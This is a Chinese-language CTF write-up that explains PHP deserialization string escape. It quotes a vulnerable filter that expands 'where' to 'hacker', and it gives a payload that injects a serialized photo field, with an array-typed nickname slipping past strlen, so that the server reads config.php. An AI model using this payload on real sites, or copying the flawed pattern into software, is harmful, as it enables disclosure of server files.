绕过数组长度的反序列化

绕过数组长度的反序列化

strlen()

1
2
3
4
5
作用:如果成功则返回字符串的长度,如果字符串为空则返回0

适合版本:php4+

注意:在php 5.3.0之前,该函数将数组当作字符串,因此返回的长度为5,并产生一个E_NOTICE级别错误,但是之后版本的php,遇到数组会返回null

打开页面,我们可以看见登陆页面,此时我们可能会习惯性的sql注入,但发现不行,然后我们根据经验,猜测会有注册界面,而登录界面一般是register.php,所以构造

1
/register.php

发现注册界面,所以我们注册并登录,发现有信息填写,所以我们可以想想是不是源码泄露,所以可以用dirsearch扫描,但要控制线程,不要太快,发现www.zip泄露

得到源码后,我们先看updata.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

看见代码

1
2
3
4
5
6
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

可知会限制nickname输入的长度,且将输入的信息进行序列化,然后我们再用全局搜索class.php搜索updata_profile()函数

1
2
3
4
5
6
7
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

发现输入的序列化的信息会经过filter()函数进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

这个函数会将输入的select、insert、update、delete、where变为hacker,然后我们再看profile.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

这里会将输入信息进行反序列化,并用file_get_contents()函数进行读取photo参数的值,所以我们可以利用反序列化逃逸,但是nickname有长度的限制,所以我们可以利用上面strlen()的漏洞来构造数组绕过,所以我们可以构造

1
";}s:5:"photo";s:10:"config.php";}

来读取config.php文件,但是在反序列化的时候,它会按照长度来取值,所以我们可以利用filter中如果输入的是where会替换成hacker,会多出一个字符,所以我们可以构造

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

作为输入,不过在本地测试时,发现构造输入时会多出一个;},可能因为在序列化数组时,不会像字符串一样闭合,所以多出一个;},但是不影响,因为;}是分隔符,会将后面的字符串忽略掉